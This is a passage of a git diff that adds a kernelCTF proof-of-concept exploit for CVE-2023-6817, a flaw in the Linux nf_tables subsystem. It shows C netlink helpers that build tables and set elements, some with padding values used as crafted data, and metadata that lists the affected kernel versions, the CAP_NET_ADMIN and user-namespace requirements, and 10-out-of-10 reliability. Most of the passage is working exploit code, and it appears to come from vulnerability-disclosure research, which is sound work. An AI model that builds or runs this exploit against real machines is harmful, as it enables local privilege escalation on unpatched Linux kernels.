//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETSETELEM, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + + } +} + + +void elem_flush(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Flush set\n"); + } +} + + + +void new_setelem_with_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + uint64_t key = input_key; + uint64_t pad0 = 0x4141414141414141; + uint32_t pad1 = 0x41414141; + //nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + nla_put(elem_data, NFTA_DATA_VALUE, 0x10, &pad0); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +void new_setelem_with_chain(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * key, int key_size, char *key_end, int key_end_size, char *chain){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + + nla_put_u32(data, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data, NFTA_VERDICT_CHAIN, chain); + nla_put_nested(data_nest, NFTA_DATA_VERDICT, data); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, data_nest); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +struct nlmsghdr * del_setelem_msg(char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/table.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/table.h new file mode 100644 index 00000000..b11ad623 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/lts-6.1.63/table.h @@ -0,0 +1,138 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void get_table(struct nl_sock * socket, char *name){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETTABLE, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_string(msg, NFTA_TABLE_NAME, name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get table %s\n",name); + } +} + +void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/metadata.json new file mode 100644 index 00000000..c75175fb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/metadata.json @@ -0,0 +1,45 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp112" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=317eb9685095678f2c9f5a8189de698c5354316a", + "cve":"CVE-2023-6817", + "affected_versions":[ + "6.1-rc1 - 6.1.67", + "5.15-rc1 - 5.15.142" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits":[ + { + "environment":"lts-6.1.63", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + }, + { + "environment":"cos-105-17412.226.28", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + } + ] + + } diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/original.tar.gz new file mode 100644 index 00000000..09150233 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/original.tar.gz differ